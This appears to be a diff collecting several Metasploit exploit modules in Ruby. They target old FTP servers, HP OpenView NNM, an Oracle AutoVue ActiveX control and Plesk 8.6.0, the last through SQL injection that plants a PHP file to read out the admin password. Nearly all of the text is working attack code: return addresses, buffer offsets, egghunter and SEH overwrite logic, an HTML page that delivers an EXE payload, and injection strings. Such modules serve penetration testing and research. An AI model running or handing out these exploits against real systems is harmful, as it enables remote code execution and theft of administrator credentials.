[ 'URL', 'http://www.exploit-db.com/exploits/17856/' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'false',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3 English',
|
||||
{
|
||||
'Ret' => 0x662eb24f,
|
||||
'Offset' => 284
|
||||
}
|
||||
], # JMP ESP - hnetcfg.dll
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Sep 02 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# Used egghunter since payload space between start of buffer and EIP is to small for
|
||||
# meterpreter payload
|
||||
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
||||
|
||||
buffer = egg
|
||||
buffer << rand_text_alpha(target['Offset']-buffer.length)
|
||||
buffer << [target.ret].pack('V')
|
||||
buffer << make_nops(4)
|
||||
buffer << hunter
|
||||
|
||||
# If you overwrite SEH it only adds 65 bytes past EIP
|
||||
|
||||
print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
||||
|
||||
connect
|
||||
send_cmd(['PASS', buffer], true)
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
http://dev.metasploit.com/redmine/issues/5471
|
||||
=end
|
||||
@@ -0,0 +1,78 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PCMan FTP Server PUT Command Buffer Overflow',
|
||||
'Description' => %q{
|
||||
PCMan FTP Server 2.0 is prone to an overflow condition. It
|
||||
fails to properly sanitize user-supplied input resulting in a
|
||||
stack-based buffer overflow. With a specially crafted 'PUT'
|
||||
command, a remote attacker can potentially have an unspecified
|
||||
impact.
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Author' =>
|
||||
[
|
||||
'Jay Turla'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '37731'],
|
||||
[ 'OSVDB', '94624']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00\xff\x0a\x0d\x20\x40"
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3 English',
|
||||
{
|
||||
'Ret' => 0x77c35459, # jmp esp from msvcrt.dll
|
||||
'Offset' => 2007
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 27 2013'))
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
disconnect
|
||||
if (banner =~ /220 PCMan's FTP Server 2\.0/)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect_login
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
buf = make_nops(target['Offset']) + [target.ret].pack('V')
|
||||
buf << make_nops(30)
|
||||
buf << payload.encoded
|
||||
send_cmd( ['PUT', buf] , false )
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,160 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/nnmRptConfig.exe', :pattern => /Hewlett-Packard Development Company/ }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP OpenView Network Node Manager nnmRptConfig Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
|
||||
prior to NNM_01207 or NNM_01203 with the SSRT100158 hotfix.
|
||||
|
||||
=begin
|
||||
XXX: NEEDS MORE DESCRIPTION
|
||||
=end
|
||||
|
||||
} ,
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-2704' ],
|
||||
[ 'OSVDB', '66507' ],
|
||||
[ 'BID', '41839' ],
|
||||
[ 'URL', 'http://www.vupen.com/english/advisories/2010/1866' ],
|
||||
[ 'URL', 'http://www.attrition.org/pipermail/vim/2010-July/002374.html' ],
|
||||
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02290344' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024, # buffer size?
|
||||
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric), # (0..0x1f).to_a.pack('C*'),
|
||||
#'StackAdjustment' => -3500,
|
||||
#'DisableNops' => true,
|
||||
#'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
||||
#'EncoderOptions' =>
|
||||
# {
|
||||
# 'BufferRegister' => 'ESP'
|
||||
# },
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP OpenView Network Node Manager 7.53',
|
||||
{
|
||||
'Ret' => 0x5a212a4a # jmp esp in ov.dll (2004-10-05, 294,967 bytes)
|
||||
}
|
||||
],
|
||||
[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
|
||||
{
|
||||
'Ret' => 0x71c02b67 # push esp / ret in ws2_32.dll v5.2.3790.3959
|
||||
}
|
||||
],
|
||||
[ 'Debug Target',
|
||||
{
|
||||
#'Ret' => 0x5a30575b # int3 in ovwww.dll (2007-09-18, 106,558 bytes)
|
||||
'Ret' => 0x71c0782c # int3 in ws2_32.dll v5.2.3790.3959
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 20 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
=begin
|
||||
# sprintf_new(buf, " HTTP_COOKIE=%s", bigstr);
|
||||
start = ' HTTP_COOKIE='
|
||||
start << cookie
|
||||
|
||||
# Offsets from the start of the buffer:
|
||||
# ebp @ 5120
|
||||
# ret @ 5124
|
||||
# seh @ 7044
|
||||
|
||||
buf = rand_text_alphanumeric(5124 - start.length)
|
||||
buf << [target.ret].pack('V')
|
||||
#buf << "\xcc"
|
||||
buf << payload.encoded
|
||||
|
||||
cookie << buf
|
||||
cookie << ";"
|
||||
=end
|
||||
|
||||
cgi = '/OvCgi/nnmRptConfig.exe'
|
||||
start = 'Unable to locate report template: '
|
||||
|
||||
# The CGI calls exit(0) after triggering the bof, so we must use SEH tekniq!
|
||||
seh_offset = 2748 - start.length
|
||||
|
||||
#template = Rex::Text.pattern_create(1024*3)
|
||||
template = rand_text(1024*3)
|
||||
|
||||
# Characters allowed: AlphaNumeric + '$-_.'
|
||||
seh_frame = "\x71\x30\x41\x41"
|
||||
#seh_frame << "B" * 4
|
||||
#seh_frame << [0x5a304f74].pack('V') # cc
|
||||
seh_frame << [0x5a30706c].pack('V') # pop/pop/ret in ovwww.dll
|
||||
|
||||
#template[seh_offset,8] = generate_seh_record(target.ret)
|
||||
template[seh_offset, 8] = seh_frame
|
||||
#template[seh_offset,8] = generate_seh_payload(target.ret)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => cgi,
|
||||
'method' => "GET",
|
||||
'vars_get' =>
|
||||
{
|
||||
'Content' => "A" * 10240,
|
||||
'Action' => 'Scheduler',
|
||||
'Operation' => 'Stop',
|
||||
'Template' => template,
|
||||
# Thanks HP!
|
||||
'DebugSpin' => 'yes'
|
||||
}
|
||||
}, 3)
|
||||
|
||||
if res and res.code != 502
|
||||
print_error("Eek! We weren't expecting a response, but we got one")
|
||||
#if datastore['DEBUG']
|
||||
print_error('')
|
||||
print_error(res.inspect)
|
||||
#end
|
||||
end
|
||||
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,127 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Oracle AutoVue 20.0.1 SaveViewStateToFile Vulnerability",
|
||||
'Description' => %q{Module Description},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'rgod', #Initial discovery, poc
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '50321'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18016/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', {} ],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2011",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
#If the client isn't Win / IE, no point to continue
|
||||
agent = request.headers['User-Agent']
|
||||
if agent !~ /Windows NT \d\.\d/ or agent !~ /MSIE \d\.\d/
|
||||
print_error("Target not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status(request.uri)
|
||||
|
||||
# Send our payload if requested
|
||||
if request.uri =~ /MicroStation\.dgn/
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
exe = generate_payload_exe({ :code => p.encoded })
|
||||
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, exe, {'Content-Type' => 'application/octet-stream'})
|
||||
return
|
||||
end
|
||||
|
||||
# Get our server's IP
|
||||
if datastore['SRVHOST'] == '0.0.0.0'
|
||||
host_ip = Rex::Socket.source_address(cli.peerhost)
|
||||
else
|
||||
host_ip = datastore['SRVHOST']
|
||||
end
|
||||
|
||||
# Server's endpoint
|
||||
host = host_ip + ":" + datastore['SRVPORT']
|
||||
|
||||
src_path = "http://#{host}#{get_resource()}/MicroStation.dgn"
|
||||
|
||||
js = <<-JS
|
||||
obj.SRC = "#{src_path}";
|
||||
obj.RestoreViewStateFromFile("http://#{host}#{get_resource()}/sample.dmp");
|
||||
for (i=0; i<6666; i++) {
|
||||
try {
|
||||
obj.SaveViewStateToFile("../../../../../../../../../../boot.ini");
|
||||
}
|
||||
catch(e) {
|
||||
}
|
||||
}
|
||||
JS
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' width=640 height=480 />
|
||||
</object>
|
||||
<script defer=defer>
|
||||
#{js}
|
||||
</script>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
print_status("Sending HTML to: #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, html, {'Content-Type' => 'text/html'})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@payload_name = rand_text_alpha(5) + ".dgn"
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
Testing version:
|
||||
Oracle AutoVue Electro-Mechanical Professional 20.0.2 Desktop Version
|
||||
Build 790: 2011-08-29
|
||||
|
||||
Not vulnerable?
|
||||
MD5 (AutoVueX.ocx) = eb32aa5068b843f8ebb4d4b83eb5e5ab
|
||||
SHA1(AutoVueX.ocx)= dce6f88870c8fe1ff7c50db50d4a3db4947cbdd4
|
||||
=end
|
||||
@@ -0,0 +1,211 @@
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Plesk 8.6.0 Remote Password Extraction Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a SQLi vulnerability in Plesk version 8.6.0 RPC API to extract the plesk admin password
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Gaurav Baruah <gaurav[at]esecforte.com>',
|
||||
'Sachin Kumar <sachin[at]esecforte.com>',
|
||||
'Vivek Razdan <vivek[at]esecforte.com>'
|
||||
#'eSecForte Technologies Pvt. Ltd. <sploitlab[at]esecforte.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-1557'],
|
||||
['URL', 'http://www.esecforte.com/blog/exploring-plesks-unspecified-vulnerability/'],
|
||||
['URL', 'http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic Plesk 8.6.0', { }]],
|
||||
'DisclosureDate' => 'Mar 12 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8880),
|
||||
OptBool.new('DisablePayloadHandler', [true, 'Disable Payload Handler', true]),
|
||||
])
|
||||
end
|
||||
|
||||
def get_mssql_plesk_dir
|
||||
data = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?><packet version="1.5.1.0">
|
||||
<dns><add_rec><domain_id>1</domain_id><type>A</type><host>mail</host>
|
||||
<value>127.0.0.1</value></add_rec></dns></packet>
|
||||
EOF
|
||||
passwd = rand_text_alpha(6)
|
||||
res = send_request_raw({
|
||||
'uri' => "/enterprise/control/agent.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'HTTP_AUTH_LOGIN' => "';exec a..a;--",
|
||||
'HTTP_AUTH_PASSWD' => passwd,
|
||||
'Content-Type' => 'text/xml',
|
||||
'Content-Length' => data.length,
|
||||
}
|
||||
}, 25)
|
||||
|
||||
|
||||
if (res)
|
||||
plesk_dir=res.body[/[C-Z]:.*\\Parallels\\Plesk\\admin\\/]
|
||||
return plesk_dir
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
data = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?><packet version="1.5.1.0">
|
||||
<dns><add_rec><domain_id>1</domain_id><type>A</type><host>mail</host>
|
||||
<value>127.0.0.1</value></add_rec></dns></packet>
|
||||
EOF
|
||||
passwd = rand_text_alpha(6)
|
||||
print_status("Detecting if Plesk is vulnerable...")
|
||||
res = send_request_raw({
|
||||
'uri' => "/enterprise/control/agent.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'HTTP_AUTH_LOGIN' => "'",
|
||||
'HTTP_AUTH_PASSWD' => passwd,
|
||||
'Content-Type' => 'text/xml',
|
||||
'Content-Length' => data.length,
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if (res)
|
||||
if(res.body[/MySQL/])
|
||||
print_status("Plesk backend has been detected as MySQL")
|
||||
plesk_http_dir=res.body[/.*\\Plesk\\admin\\htdocs\\enterprise\\control/]
|
||||
plesk_db="mysql"
|
||||
if (plesk_http_dir)
|
||||
plesk_http_dir=plesk_http_dir.gsub('\\','\\\\\\')
|
||||
return plesk_http_dir,Exploit::CheckCode::Vulnerable,plesk_db
|
||||
end
|
||||
elsif (res.body[/Microsoft OLE DB/])
|
||||
plesk_db="mssql"
|
||||
print_status("Plesk backend has been detected as MS SQL Server")
|
||||
plesk_http_dir=get_mssql_plesk_dir()
|
||||
return plesk_http_dir,Exploit::CheckCode::Vulnerable,plesk_db
|
||||
elsif (res.body[/Jet/])
|
||||
print_status("Plesk backend has been detected as MS Access. This module does not supports JET database yet!")
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return "null",Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
return "null",Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
result_array = check()
|
||||
if result_array and (result_array[1]==Exploit::CheckCode::Vulnerable and result_array[2]=="mysql")
|
||||
plesk_http_dir = result_array[0]
|
||||
php_fname = rand_text_alphanumeric(5) + '.php'
|
||||
data = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?><packet version="1.5.1.0">
|
||||
<dns><add_rec><domain_id>1</domain_id><type>A</type><host>mail</host>
|
||||
<value>127.0.0.1</value></add_rec></dns></packet>
|
||||
EOF
|
||||
passwd = rand_text_alpha(6)
|
||||
mysqli_exploit_sqli = "' union select \"<?php $a=exec(\'..\\\\..\\\\..\\\\bin\\\\plesksrvclient.exe -get -nogui\');"
|
||||
mysqli_exploit_sqli = mysqli_exploit_sqli + "echo $a;?>\" into outfile \"#{plesk_http_dir}\\\\#{php_fname}\"#"
|
||||
send_request_raw({
|
||||
'uri' => "/enterprise/control/agent.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'HTTP_AUTH_LOGIN' => mysqli_exploit_sqli,
|
||||
'HTTP_AUTH_PASSWD' => passwd,
|
||||
'Content-Type' => 'text/xml',
|
||||
'Content-Length' => data.length,
|
||||
}
|
||||
}, 25)
|
||||
print_status("Sent SQLI..verifying if it succeeded")
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/enterprise/control/#{php_fname}"
|
||||
})
|
||||
|
||||
if (res and res.code==200)
|
||||
print_status("yup it did !")
|
||||
print_good(res.body)
|
||||
else
|
||||
print_error("failed to create file using SQLI")
|
||||
end
|
||||
elsif result_array and (result_array[1]==Exploit::CheckCode::Vulnerable and result_array[2]=="mssql")
|
||||
plesk_http_dir = result_array[0]
|
||||
php_fname = rand_text_alphanumeric(5) + '.php'
|
||||
data = <<-EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?><packet version="1.5.1.0">
|
||||
<dns><add_rec><domain_id>1</domain_id><type>A</type><host>mail</host>
|
||||
<value>127.0.0.1</value></add_rec></dns></packet>
|
||||
EOF
|
||||
passwd = rand_text_alpha(6)
|
||||
mssqli_exploit_sqli = "';DECLARE @li_file_sytem_object INT; DECLARE @li_result INT;DECLARE @li_file_id INT;"
|
||||
mssqli_exploit_sqli = mssqli_exploit_sqli + "EXECUTE @li_result = sp_OACreate 'Scripting.FileSystemObject', @li_file_sytem_object OUT;"
|
||||
mssqli_exploit_sqli = mssqli_exploit_sqli + "EXECUTE @li_result = sp_OAMethod @li_file_sytem_object, 'OpenTextFile', @li_file_id OUT,"
|
||||
mssqli_exploit_sqli = mssqli_exploit_sqli + "'#{plesk_http_dir}htdocs\\enterprise\\control\\#{php_fname}', 8, 1;"
|
||||
mssqli_exploit_sqli = mssqli_exploit_sqli + "EXECUTE @li_result = sp_OAMethod @li_file_id, 'WriteLine', NULL,"
|
||||
mssqli_exploit_sqli = mssqli_exploit_sqli + "'<?php $a=exec(\"..\\\\..\\\\..\\\\bin\\\\plesksrvclient.exe -get -nogui\");echo $a;?>';--"
|
||||
send_request_raw({
|
||||
'uri' => "/enterprise/control/agent.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'HTTP_AUTH_LOGIN' => mssqli_exploit_sqli,
|
||||
'HTTP_AUTH_PASSWD' => passwd,
|
||||
'Content-Type' => 'text/xml',
|
||||
'Content-Length' => data.length,
|
||||
}
|
||||
}, 25)
|
||||
print_status("Sent SQLI..verifying if it succeeded")
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => "/enterprise/control/#{php_fname}"
|
||||
})
|
||||
|
||||
|
||||
if (res and res.code==200)
|
||||
print_status("yup it did !")
|
||||
print_good(res.body) #Print Plesk Admin Password to Screen
|
||||
else
|
||||
print_error("failed to create file using SQLI")
|
||||
end
|
||||
else
|
||||
print_error(datastore['RHOST'] + " is not vulnerable")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,144 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] UPlusFTPServer v1.7.1 GET Request Buffer Overflow",
|
||||
'Description' => %q{Module Description},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen',
|
||||
'corelanc0d3r',
|
||||
'sinn3r'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.exploit-db.com/exploits/14496/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Universal', {'Ret'=>0x41414141}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2011",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
#
|
||||
# Check three things:
|
||||
# 401 Unauthorized
|
||||
# Server: UplusFtp Server/1.0
|
||||
# WWW-Authenticate: BASIC realm="Login to UplusFtp Server"
|
||||
#
|
||||
|
||||
#
|
||||
# Try to auth
|
||||
#
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
#
|
||||
# Set credential
|
||||
#
|
||||
user = datastore['BasicAuthUser'] || "anonymous"
|
||||
pass = datastore['BasicAuthPass'] || ""
|
||||
cred = "#{user}:#{pass}"
|
||||
|
||||
print_status("#{rhost}:#{rport} - Using credential '#{cred}'")
|
||||
|
||||
#
|
||||
# Craft malicious buffer.
|
||||
# If the max size is too big, the connection will reset,
|
||||
# and we get no crash.
|
||||
#
|
||||
buf = "A"*2308
|
||||
buf << "BBBB"
|
||||
buf << "CCCC"
|
||||
buf << "D"*(4000-buf.length) #4000 = max
|
||||
|
||||
#
|
||||
# Send the malicious request
|
||||
#
|
||||
print_status("#{rhost}:#{rport} - Sending #{self.name}...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => '/list.html',
|
||||
'basic_auth' => cred,
|
||||
'vars_get' => { 'path' => buf }
|
||||
})
|
||||
|
||||
print_line(res.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
The PoC on Exploit-DB doesn't seem reliable.
|
||||
Also, the only component that's not protected by SafeSEH is ftpbasicsvr
|
||||
|
||||
0:001> g
|
||||
(d3c.abc): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=008a3d39 ebx=00000061 ecx=008a3b61 edx=00000001 esi=44444444 edi=00000000
|
||||
eip=0040277e esp=009ce198 ebp=008a3b3c iopl=0 nv up ei pl nz na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
||||
*** WARNING: Unable to verify checksum for C:\Documents and Settings\lab\My Documents\Downloads\a787bd19b0c382b00331364d2670f084-uplusftp-server-1.7.1.01-en\uplusftp-server-1.7.1.01-en\ftpbasicsvr.exe
|
||||
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\lab\My Documents\Downloads\a787bd19b0c382b00331364d2670f084-uplusftp-server-1.7.1.01-en\uplusftp-server-1.7.1.01-en\ftpbasicsvr.exe
|
||||
ftpbasicsvr+0x277e:
|
||||
0040277e 3a1e cmp bl,byte ptr [esi] ds:0023:44444444=??
|
||||
0:001> !exchain
|
||||
009ced28: 43434343
|
||||
Invalid exception stack at 42424242
|
||||
0:001> lmf
|
||||
start end module name
|
||||
00400000 00445000 ftpbasicsvr C:\Documents and Settings\lab\My Documents\Downloads\a787bd19b0c382b00331364d2670f084-uplusftp-server-1.7.1.01-en\uplusftp-server-1.7.1.01-en\ftpbasicsvr.exe
|
||||
662b0000 66308000 hnetcfg C:\WINDOWS\system32\hnetcfg.dll
|
||||
71a50000 71a8f000 mswsock C:\WINDOWS\system32\mswsock.dll
|
||||
71a90000 71a98000 wshtcpip C:\WINDOWS\System32\wshtcpip.dll
|
||||
71aa0000 71aa8000 WS2HELP C:\WINDOWS\system32\WS2HELP.dll
|
||||
71ab0000 71ac7000 WS2_32 C:\WINDOWS\system32\WS2_32.dll
|
||||
76390000 763ad000 IMM32 C:\WINDOWS\system32\IMM32.DLL
|
||||
77c10000 77c68000 msvcrt C:\WINDOWS\system32\msvcrt.dll
|
||||
77dd0000 77e6b000 ADVAPI32 C:\WINDOWS\system32\ADVAPI32.dll
|
||||
77e70000 77f02000 RPCRT4 C:\WINDOWS\system32\RPCRT4.dll
|
||||
77f10000 77f59000 GDI32 C:\WINDOWS\system32\GDI32.dll
|
||||
77fe0000 77ff1000 Secur32 C:\WINDOWS\system32\Secur32.dll
|
||||
7c800000 7c8f6000 kernel32 C:\WINDOWS\system32\kernel32.dll
|
||||
7c900000 7c9af000 ntdll C:\WINDOWS\system32\ntdll.dll
|
||||
7e410000 7e4a1000 USER32 C:\WINDOWS\system32\USER32.dll
|
||||
0:001> lmv m ftpbasicsvr
|
||||
start end module name
|
||||
00400000 00445000 ftpbasicsvr C (no symbols)
|
||||
Loaded symbol image file: C:\Documents and Settings\lab\My Documents\Downloads\a787bd19b0c382b00331364d2670f084-uplusftp-server-1.7.1.01-en\uplusftp-server-1.7.1.01-en\ftpbasicsvr.exe
|
||||
Image path: C:\Documents and Settings\lab\My Documents\Downloads\a787bd19b0c382b00331364d2670f084-uplusftp-server-1.7.1.01-en\uplusftp-server-1.7.1.01-en\ftpbasicsvr.exe
|
||||
Image name: ftpbasicsvr.exe
|
||||
Timestamp: Sun Apr 11 23:02:48 2010 (4BC2B788)
|
||||
CheckSum: 00000000
|
||||
ImageSize: 00045000
|
||||
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
|
||||
|
||||
=end
|
||||
@@ -0,0 +1,134 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] IBM Tivoli Directory Server SASL Bind Request Vulnerability",
|
||||
'Description' => %q{
|
||||
=begin
|
||||
The specific flaw exists in how ibmslapd.exe handles LDAP CRAM-MD5 packets. ibmslapd.exe
|
||||
listens by default on port TCP 389. When the process receives an LDAP CRAM-MD5 packet, it
|
||||
uses libibmldap.dll to handle the allocation of a buffer for the packet data. A specially
|
||||
crafted packet can cause the ber_get_int function to allocate a buffer that is too small to
|
||||
fit the packet data, causing a subsequent stack-based buffer overflow.
|
||||
=end
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
